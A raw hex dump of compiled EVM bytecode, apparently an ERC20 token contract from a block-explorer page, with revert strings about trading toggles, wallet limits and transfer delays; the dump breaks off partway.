20616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613ca76028836134d9565b9150613cb282613c4b565b604082019050919050565b60006020820190508181036000830152613cd681613c9a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613d17826135f2565b9150613d22836135f2565b9250828203905081811115613d3a57613d39613cdd565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613d7a826135f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613dac57613dab613cdd565b5b600182019050919050565b6000613dc2826135f2565b9150613dcd836135f2565b9250828201905080821115613de557613de4613cdd565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115613e4257808604811115613e1e57613e1d613cdd565b5b6001851615613e2d5780820291505b8081029050613e3b85613deb565b9450613e02565b94509492505050565b600082613e5b5760019050613f17565b81613e695760009050613f17565b8160018114613e7f5760028114613e8957613eb8565b6001915050613f17565b60ff841115613e9b57613e9a613cdd565b5b8360020a915084821115613eb257613eb1613cdd565b5b50613f17565b5060208310610133831016604e8410600b8410161715613eed5782820a905083811115613ee857613ee7613cdd565b5b613f17565b613efa8484846001613df8565b92509050818404811115613f1157613f10613cdd565b5b81810290505b9392505050565b6000613f29826135f2565b9150613f3483613905565b9250613f617fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613e4b565b905092915050565b6000613f74826135f2565b9150613f7f836135f2565b9250828202613f8d816135f2565b91508282048414831517613fa457613fa3613cdd565b5b5092915050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b6000613fe1601a836134d9565b9150613fec82613fab565b602082019050919050565b6000602082019050818103600083015261401081613fd4565b9050919050565b600060408201905061402c60008301856139ff565b61403960208301846136f7565b9392505050565b60008151905061404f8161369e565b92915050565b60006020828403121561406b5761406a61358a565b5b600061407984828501614040565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006140de6025836134d9565b91506140e982614082565b604082019050919050565b6000602082019050818103600083015261410d816140d1565b9050919050565b7f43616e2774206368616e6765207768656e2074726164696e672068617320737460008201527f6172746564000000000000000000000000000000000000000000000000000000602082015250565b60006141706025836134d9565b915061417b82614114565b604082019050919050565b6000602082019050818103600083015261419f81614163565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006142026026836134d9565b915061420d826141a6565b604082019050919050565b60006020820190508181036000830152614231816141f5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006142946024836134d9565b915061429f82614238565b604082019050919050565b600060208201905081810360008301526142c381614287565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006143266022836134d9565b9150614331826142ca565b604082019050919050565b6000602082019050818103600083015261435581614319565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006143b86029836134d9565b91506143c38261435c565b604082019050919050565b600060208201905081810360008301526143e7816143ab565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b60006144246013836134d9565b915061442f826143ee565b602082019050919050565b6000602082019050818103600083015261445381614417565b9050919050565b7f596f752061726520657863656564696e67206d617857616c6c65744c696d6974600082015250565b60006144906020836134d9565b915061449b8261445a565b602082019050919050565b600060208201905081810360008301526144bf81614483565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614500826135f2565b915061450b836135f2565b92508261451b5761451a6144c6565b5b828204905092915050565b7f5472616e736665722044656c617920656e61626c65642e20204f6e6c79206f6e60008201527f652070757263686173652070657220626c6f636b20616c6c6f7765642e000000602082015250565b6000614582603d836134d9565b915061458d82614526565b604082019050919050565b600060208201905081810360008301526145b181614575565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006146146025836134d9565b915061461f826145b8565b604082019050919050565b6000602082019050818103600083015261464381614607565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146a66023836134d9565b91506146b18261464a565b604082019050919050565b600060208201905081810360008301526146d581614699565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006147386026836134d9565b9150614743826146dc565b604082019050919050565b600060208201905081810360008301526147678161472b565b9050919050565b60008151905061477d816135c6565b92915050565b6000602082840312156147995761479861358a565b5b60006147a78482850161476e565b91505092915050565b6000819050919050565b60006147d56147d06147cb846147b0565b613b05565b6135f2565b9050919050565b6147e5816147ba565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614820816135b4565b82525050565b60006148328383614817565b60208301905092915050565b6000602082019050919050565b6000614856826147eb565b61486081856147f6565b935061486b83614807565b8060005b8381101561489c5781516148838882614826565b975061488e8361483e565b92505060018101905061486f565b5085935050505092915050565b600060a0820190506148be60008301886136f7565b6148cb60208301876147dc565b81810360408301526148dd818661484b565b90506148ec60608301856139ff565b6148f960808301846136f7565b9695505050505050565b600060c08201905061491860008301896139ff565b61492560208301886136f7565b61493260408301876147dc565b61493f60608301866147dc565b61494c60808301856139ff565b61495960a08301846136f7565b979650505050505050565b600081519050614973816135fc565b92915050565b6000806000606084860312156149925761499161358a565b5b60006149a086828701614964565b93505060206149b186828701614964565b92505060406149c286828701614964565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000614a02601d836134d9565b9150614a0d826149cc565b602082019050919050565b60006020820190508181036000830152614a31816149f5565b9050919050565b600081905092915050565b50565b6000614a53600083614a38565b9150614a5e82614a43565b600082019050919050565b6000614a7482614a46565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000614ada603a836134d9565b9150614ae582614a7e565b604082019050919050565b60006020820190508181036000830152614b0981614acd565b905091905056fea264697066735822122006397855ac72554ebd19d59977b49edd4aff76143242e11334c2b2dbe27fe34764736f6c6343000813003300000000000000000000000091de1f4b2fe4a1672a44176ef22d7191026aacb10000000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061023f5760003560e01c80638cd4426d1161012e578063c2b7bbb6116100ab578063f2fde38b1161006f578063f2fde38b1461088b578063f52be97c146108b4578063f570d4de146108dd578063f66895a314610906578063f887ea401461093257610246565b8063c2b7bbb614610796578063c5d32bb2146107bf578063d695609b146107fc578063dd62ed3e14610825578063edaa11681461086257610246565b8063a65091a6116100f2578063a65091a61461069f578063a8aa1b31146106dc578063a9059cbb14610707578063aacebbe314610744578063ad296d9d1461076d57610246565b80638cd4426d146105ba5780638da5cb5b146105e357806395d89b411461060e5780639e252f0014610639578063a457c2d71461066257610246565b80634ada218b116101bc578063728f8eea11610180578063728f8eea146104fa578063832c2bd2146105265780638514022d1461054f57806385141a77146105785780638a8c523c146105a357610246565b80634ada218b146104275780635dbdb7e31461045257806366a88d961461047b57806370a08231146104a6578063715018a6146104e357610246565b8063251ef09511610203578063251ef09514610344578063313ce5671461036d578063395093511461039857806342b6fa11146103d55780634324deae146103fe57610246565b806306fdde031461024b578063095ea7b3146102765780631340538f146102b357806318160ddd146102dc57806323b872dd1461030757610246565b3661024657005b600080fd5b34801561025757600080fd5b5061026061095d565b60405161026d919061355e565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613628565b6109ef565b6040516102aa9190613683565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d591906136ca565b610a0d565b005b3480156102e857600080fd5b506102f1610aa6565b6040516102fe9190613706565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190613721565b610ab0565b60405161033b9190613683565b60405180910390f35b34801561035057600080fd5b5061036b600480360381019061036691906138bc565b610bb1565b005b34801561037957600080fd5b50610382610cc2565b60405161038f9190613921565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190613628565b610ccb565b6040516103cc9190613683565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f7919061393c565b610d77565b005b34801561040a57600080fd5b506104256004803603810190610420919061393c565b610e1b565b005b34801561043357600080fd5b5061043c610ebf565b6040516104499190613683565b60405180910390f35b34801561045e57600080fd5b5061047960048036038101906104749190613969565b610ed2565b005b34801561048757600080fd5b50610490610fa9565b60405161049d9190613706565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c89190613969565b610faf565b6040516104da9190613706565b60405180910390f35b3480156104ef57600080fd5b506104f8610ff7565b005b34801561050657600080fd5b5061050f61113a565b60405161051d929190613996565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613969565b61114c565b005b34801561055b57600080fd5b50610576600480360381019061057191906139bf565b611223565b005b34801561058457600080fd5b5061058d6112fa565b60405161059a9190613a0e565b60405180910390f35b3480156105af57600080fd5b506105b8611300565b005b3480156105c657600080fd5b506105e160048036038101906105dc9190613628565b61140b565b005b3480156105ef57600080fd5b506105f8611511565b6040516106059190613a0e565b60405180910390f35b34801561061a57600080fd5b5061062361153b565b604051610630919061355e565b60405180910390f35b34801561064557600080fd5b50610660600480360381019061065b919061393c565b6115cd565b005b34801561066e57600080fd5b5061068960048036038101906106849190613628565b61169a565b6040516106969190613683565b60405180910390f35b3480156106ab57600080fd5b506106c660048036038101906106c19190613969565b61178e565b6040516106d39190613683565b60405180910390f35b3480156106e857600080fd5b506106f16117e4565b6040516106fe9190613a0e565b60405180910390f35b34801561071357600080fd5b5061072e60048036038101906107299190613628565b61180a565b60405161073b9190613683565b60405180910390f35b34801561075057600080fd5b5061076b60048036038101906107669190613969565b611821565b005b34801561077957600080fd5b50610794600480360381019061078f9190613a29565b6118e1565b005b3480156107a257600080fd5b506107bd60048036038101906107b89190613969565b6119f2565b005b3480156107cb57600080fd5b506107e660048036038101906107e19190613969565b611b2c565b6040516107f39190613683565b60405180910390f35b34801561080857600080fd5b50610823600480360381019061081e9190613a85565b611b4c565b005b34801561083157600080fd5b5061084c60048036038101906108479190613ac5565b611bfa565b6040516108599190613706565b60405180910390f35b34801561086e57600080fd5b506108896004803603810190610884919061393c565b611c81565b005b34801561089757600080fd5b506108b260048036038101906108ad9190613969565b611d57565b005b3480156108c057600080fd5b506108db60048036038101906108d69190613a85565b611e4e565b005b3480156108e957600080fd5b5061090460048036038101906108ff91906138bc565b611efc565b005b34801561091257600080fd5b5061091b61200d565b604051610929929190613996565b60405180910390f35b34801561093e57600080fd5b5061094761201f565b6040516109549190613b64565b60405180910390f35b60606003805461096c90613bae565b80601f016020809104026020016040519081016040528092919081815260200182805461099890613bae565b80156109e55780601f106109ba576101008083540402835291602001916109e5565b820191906000526020600020905b8154815290600101906020018083116109c857829003601f168201915b5050505050905090565b6000610a036109fc612045565b848461204d565b6001905092915050565b610a15612045565b73ffffffffffffffffffffffffffffffffffffffff16610a33612216565b73ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8090613c2b565b60405180910390fd5b80600860156101000a81548160ff02191690831515021790555050565b6000600254905090565b6000610abd84848461222a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b08612045565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90613cbd565b60405180910390fd5b610ba585610b94612045565b8584610ba09190613d0c565b61204d565b60019150509392505050565b610bb9612045565b73ffffffffffffffffffffffffffffffffffffffff16610bd7612216565b73ffffffffffffffffffffffffffffffffffffffff1614610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490613c2b565b60405180910390fd5b60005b8151811015610cbe57600060156000848481518110610c5257610c51613d40565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cb690613d6f565b915050610c30565b5050565b60006009905090565b6000610d6d610cd8612045565b848460016000610ce6612045565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d689190613db7565b61204d565b6001905092915050565b610d7f612045565b73ffffffffffffffffffffffffffffffffffffffff16610d9d612216565b73ffffffffffffffffffffffffffffffffffffffff1614610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea90613c2b565b60405180910390fd5b610dfb610cc2565b600a610e079190613f1e565b81610e129190613f69565b600a8190555050565b610e23612045565b73ffffffffffffffffffffffffffffffffffffffff16610e41612216565b73ffffffffffffffffffffffffffffffffffffffff1614610e97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8e90613c2b565b60405180910390fd5b610e9f610cc2565b600a610eab9190613f1e565b81610eb69190613f69565b600b8190555050565b600860169054906101000a900460ff1681565b610eda612045565b73ffffffffffffffffffffffffffffffffffffffff16610ef8612216565b73ffffffffffffffffffffffffffffffffffffffff1614610f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4590613c2b565b60405180910390fd5b6001601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fff612045565b73ffffffffffffffffffffffffffffffffffffffff1661101d612216565b73ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90613c2b565b60405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60118060000154908060010154905082565b611154612045565b73ffffffffffffffffffffffffffffffffffffffff16611172612216565b73ffffffffffffffffffffffffffffffffffffffff16146111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bf90613c2b565b60405180910390fd5b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61122b612045565b73ffffffffffffffffffffffffffffffffffffffff16611249612216565b73ffffffffffffffffffffffffffffffffffffffff161461129f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129690613c2b565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61dead81565b611308612045565b73ffffffffffffffffffffffffffffffffffffffff16611326612216565b73ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137390613c2b565b60405180910390fd5b600860169054906101000a900460ff16156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c390613ff7565b60405180910390fd5b6001600860166101000a81548160ff0219169083151502179055506001600860156101000a81548160ff02191690831515021790555043600c81905550565b611413612045565b73ffffffffffffffffffffffffffffffffffffffff16611431612216565b73ffffffffffffffffffffffffffffffffffffffff1614611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147e90613c2b565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6114ab611511565b836040518363ffffffff1660e01b81526004016114c9929190614017565b6020604051808303816000875af11580156114e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150c9190614055565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461154a90613bae565b80601f016020809104026020016040519081016040528092919081815260200182805461157690613bae565b80156115c35780601f10611598576101008083540402835291602001916115c3565b820191906000526020600020905b8154815290600101906020018083116115a657829003601f168201915b5050505050905090565b6115d5612045565b73ffffffffffffffffffffffffffffffffffffffff166115f3612216565b73ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164090613c2b565b60405180910390fd5b611651611511565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611696573d6000803e3d6000fd5b5050565b600080600160006116a9612045565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d906140f4565b60405180910390fd5b611783611771612045565b85858461177e9190613d0c565b61204d565b600191505092915050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061181733848461222a565b6001905092915050565b611829612045565b73ffffffffffffffffffffffffffffffffffffffff16611847612216565b73ffffffffffffffffffffffffffffffffffffffff161461189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613c2b565b60405180910390fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6118e9612045565b73ffffffffffffffffffffffffffffffffffffffff16611907612216565b73ffffffffffffffffffffffffffffffffffffffff161461195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490613c2b565b60405180910390fd5b60005b82518110156119ed57816016600085848151811061198157611980613d40565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806119e590613d6f565b915050611960565b505050565b6119fa612045565b73ffffffffffffffffffffffffffffffffffffffff16611a18612216565b73ffffffffffffffffffffffffffffffffffffffff1614611a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6590613c2b565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160156000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60156020528060005260406000206000915054906101000a900460ff1681565b611b54612045565b73ffffffffffffffffffffffffffffffffffffffff16611b72612216565b73ffffffffffffffffffffffffffffffffffffffff1614611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90613c2b565b60405180910390fd5b604051806040016040528083815260200182815250601160008201518160000155602082015181600101559050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611c89612045565b73ffffffffffffffffffffffffffffffffffffffff16611ca7612216565b73ffffffffffffffffffffffffffffffffffffffff1614611cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf490613c2b565b60405180910390fd5b600860169054906101000a900460ff1615611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490614186565b60405180910390fd5b80600d8190555050565b611d5f612045565b73ffffffffffffffffffffffffffffffffffffffff16611d7d612216565b73ffffffffffffffffffffffffffffffffffffffff1614611dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dca90613c2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3990614218565b60405180910390fd5b611e4b81612a73565b50565b611e56612045565b73ffffffffffffffffffffffffffffffffffffffff16611e74612216565b73ffffffffffffffffffffffffffffffffffffffff1614611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec190613c2b565b60405180910390fd5b604051806040016040528083815260200182815250601360008201518160000155602082015181600101559050505050565b611f04612045565b73ffffffffffffffffffffffffffffffffffffffff16611f22612216565b73ffffffffffffffffffffffffffffffffffffffff1614611f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6f90613c2b565b60405180910390fd5b60005b815181101561200957600160156000848481518110611f9d57611f9c613d40565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061200190613d6f565b915050611f7b565b5050565b60138060000154908060010154905082565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b3906142aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361212b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121229061433c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516122099190613706565b60405180910390a3505050565b600080612221612b39565b90508091505090565b6000811161226d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612264906143ce565b60405180910390fd5b43600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123555750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123aa57600860169054906101000a900460ff166123a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a09061443a565b60405180910390fd5b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124515750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561246a5750600860149054906101000a900460ff16155b156124c857600b548161247c84610faf565b6124869190613db7565b11156124c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124be906144a6565b60405180910390fd5b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156125705750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156125c65750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156125df5750600860149054906101000a900460ff16155b1561269357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461269257600b548161264684610faf565b6126509190613db7565b1115612691576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612688906144a6565b60405180910390fd5b5b5b60008060006126a06134b4565b6000601560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127465750601560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127605750600d54600c5461275d9190613db7565b43105b9050601660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127be576127bd88612be1565b5b600860149054906101000a900460ff16806128225750601560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806128765750601560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128845760009250612983565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480156128df575080155b15612927576013600001546013600101546128fa9190613db7565b94508493506013604051806040016040529081600082015481526020016001820154815250509150612982565b8061296f576011600001546011600101546129429190613db7565b94508493506011604051806040016040529081600082015481526020016001820154815250509150612981565b801561298057600e549450600e5493505b5b5b5b606484876129919190613f69565b61299b91906144f5565b9250600860159054906101000a900460ff168015612a075750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b15612a1757612a168583612c6b565b5b612a2d88888589612a289190613d0c565b612e0f565b6000831115612a69576000851115612a6857600060648688612a4f9190613f69565b612a5991906144f5565b9050612a66893083612e0f565b505b5b5050505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612bb857600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612bdc565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b612c29600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461308c565b612c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5f90614598565b60405180910390fd5b50565b600860149054906101000a900460ff16612e0b576001600860146101000a81548160ff0219169083151502179055506000820315612def576000612cae30610faf565b9050600a548110612ded576001600a541115612cca57600a5490505b6000600284612cd99190613f69565b9050600081846020015184612cee9190613f69565b612cf891906144f5565b905060008184612d089190613d0c565b90506000479050612d1882613098565b60008147612d269190613d0c565b90506000876020015186612d3a9190613d0c565b82612d4591906144f5565b90506000886020015182612d599190613f69565b90506000811115612d6f57612d6e86826132db565b5b60008960000151600284612d839190613f69565b612d8d9190613f69565b90506000811115612de457612de381601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166133bb90919063ffffffff16565b5b50505050505050505b505b6000600860146101000a81548160ff0219169083151502179055505b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e759061462a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee4906146bc565b60405180910390fd5b612ef88383836134af565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612f7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f759061474e565b60405180910390fd5b8181612f8a9190613d0c565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461301a9190613db7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161307e9190613706565b60405180910390a350505050565b60004382119050919050565b6000600267ffffffffffffffff8111156130b5576130b4613779565b5b6040519080825280602002602001820160405280156130e35781602001602082028036833780820191505090505b50905030816000815181106130fb576130fa613d40565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156131a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131c69190614783565b816001815181106131da576131d9613d40565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061324130600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461204d565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac